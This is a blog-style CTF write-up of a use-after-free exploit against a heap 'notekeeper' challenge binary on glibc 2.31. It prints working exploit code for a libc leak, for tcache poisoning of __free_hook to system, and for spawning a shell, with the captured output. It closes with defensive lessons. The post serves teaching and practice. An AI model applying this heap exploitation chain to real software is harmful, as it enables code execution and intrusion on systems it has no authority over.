algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

writeup: notekeeper — a UAF from menu to shell

2026-05-183 min readpwn heap ctf

notekeeper is the archetypal CTF heap binary: a menu that creates, edits, shows, and deletes notes. Those four verbs are also the four heap primitives you need — the only bug is that delete forgets to clear the pointer. Here's the whole chain.

target./notekeeper
arch
amd64-64-little
libc
2.31
  • RELROfull
  • canaryon
  • NXon
  • PIEon

recon — four verbs over the heap#

the menutxt
1
2
3
4
1) new   <idx> <size> <data>     -> notes[idx] = malloc(size); read data
2) edit  <idx> <data>            -> read into notes[idx]   (no liveness check)
3) show  <idx>                   -> puts(notes[idx])       (no liveness check)
4) free  <idx>                   -> free(notes[idx])       (pointer NOT cleared)

free leaves notes[idx] dangling, and both edit and show happily operate on a freed index. That single oversight is a use-after-free giving me a read and a write on freed chunks — everything else follows.

step 1 — leak libc through the unsorted bin#

A chunk too big for a tcache bin (>0x408) goes to the unsorted bin on free, and its fd/bk get set to a main_arena address inside libc. show on that freed chunk reads those bytes back:

leak.pypython
1
2
3
4
5
6
new(0, 0x420, b"A"*8)     # large -> skips tcache
new(1, 0x20, b"guard")    # stop consolidation into the top chunk
free(0)                   # chunk 0 -> unsorted bin, fd/bk = main_arena+96
leak = u64(show(0).ljust(8, b"\x00"))
libc.address = leak - (libc.sym["main_arena"] + 96)   # rebase libc
log.success(f"libc @ {libc.address:#x}")

With full RELRO the GOT is read-only, so I can't redirect a PLT call — but glibc 2.31 still has __free_hook, and that's writable.

step 2 — tcache poisoning to __free_hook#

tcache poisoning: free a small chunk into a tcache bin, then use the UAF edit to overwrite its fd (the next pointer) with the address I want allocated. The next two mallocs of that size return first the real chunk, then my chosen address:

poison.pypython
1
2
3
4
5
new(2, 0x40, b"B"*8)
free(2)                                  # chunk 2 -> 0x40 tcache bin
edit(2, p64(libc.sym["__free_hook"]))    # UAF: overwrite tcache fd -> __free_hook
new(3, 0x40, b"/bin/sh\x00")             # pops chunk 2; also stage "/bin/sh"
new(4, 0x40, p64(libc.sym["system"]))    # this alloc == __free_hook; write system

Now __free_hook == system, and note 3 holds "/bin/sh".

step 3 — free your way to a shell#

free(p) calls __free_hook(p) if it's set — which is now system(p). So freeing the chunk that contains "/bin/sh" runs system("/bin/sh"):

win.pypython
free(3)            # __free_hook("/bin/sh") -> system("/bin/sh")
io.interactive()
flag
txt
1
2
3
4
5
$ ./exploit.py REMOTE
[+] libc @ 0x7f3c2a1e2000
[*] Switching to interactive mode
$ id && cat flag
uid=1000 ... segfault{f0rg0t_t0_null_th3_p0inter}

what made it easy, and what 2.34 would change#

  • The whole exploit is one bug. A missing notes[idx] = NULL after free turned four benign verbs into read/write-after-free. Liveness checks (and zeroing freed pointers) kill it dead.
  • __free_hook is a 2.31 luxury. On glibc ≥ 2.34 the hook is gone, so the same tcache poison would aim at a saved return address or pivot into House of Apple 2 FSOP instead. The leak and the poison are identical; only the final target moves.
  • PIE + full RELRO + canary didn't matter. None of them touch a heap UAF; the libc leak handled ASLR, and I never went near a return address or the GOT.

notekeeper is worth keeping as a reference shape: when you see create/edit/show/ delete over an array of pointers, the first thing to check is whether delete clears the slot. Half the time it doesn't, and the other three verbs hand you the exploit.